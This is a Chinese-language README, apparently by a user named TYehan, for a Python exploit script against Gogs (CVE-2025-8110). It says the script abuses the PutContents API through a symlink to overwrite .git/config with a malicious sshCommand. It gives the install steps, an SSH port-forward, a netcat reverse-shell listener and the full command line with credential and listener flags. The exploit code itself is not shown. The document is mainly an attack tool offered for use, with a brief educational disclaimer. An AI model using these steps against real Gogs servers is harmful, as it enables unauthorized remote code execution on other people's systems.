针对 Gogs 中 CVE-2025-8110 的自动 Python 漏洞利用脚本。该漏洞通过滥用 PutContents API(未能验证文件路径是否为符号链接)实现远程代码执行(RCE)。通过符号链接覆盖内部 .git/config 文件,我们可以注入恶意 sshCommand 来触发反向 Shell。
确保已安装 Python 3 以及必要的依赖项:
pip install requests rich beautifulsoup4
你还必须安装 git 并确保其在 $PATH 中可用,以便进行仓库克隆和提交。
Gogs 可能绑定在 127.0.0.1:3001 上。使用端口转发在本地访问 WebUI:
ssh -L 3001:127.0.0.1:3001 user@target-ip
端口转发后,访问 http://localhost:3001:
脚本使用 Gogs API 发送载荷:
在运行脚本之前启动监听器,因为一旦 API 更新被处理,shell 就会触发。
nc -lvnp 5555
将你的凭证和令牌作为参数传递:
python3 exploit.py -u http://localhost:3001 -un <YOUR_USER> -pw <YOUR_PASS> -t <YOUR_TOKEN> -lh <YOUR_IP> -lp 5555
| 标志 | 描述 |
|---|---|
-u | Gogs 实例的基础 URL(例如 http://localhost:3001)。 |
-un | 你所创建账户的用户名。 |
-pw | 你所创建账户的密码。 |
-t | 在设置中生成的 API 令牌。 |
-lh | 你的监听器 IP 地址(LHOST)。 |
-lp | 你的监听器端口(LPORT)。 |
注意: 如果脚本在 "Overwriting .git/config" 后挂起或返回
Read timed out,请检查你的监听器。这通常表示反向 Shell 已成功连接并保持连接。
作者: TYehan
免责声明: 此工具仅用于教育目的和授权的安全审计。请负责任地使用。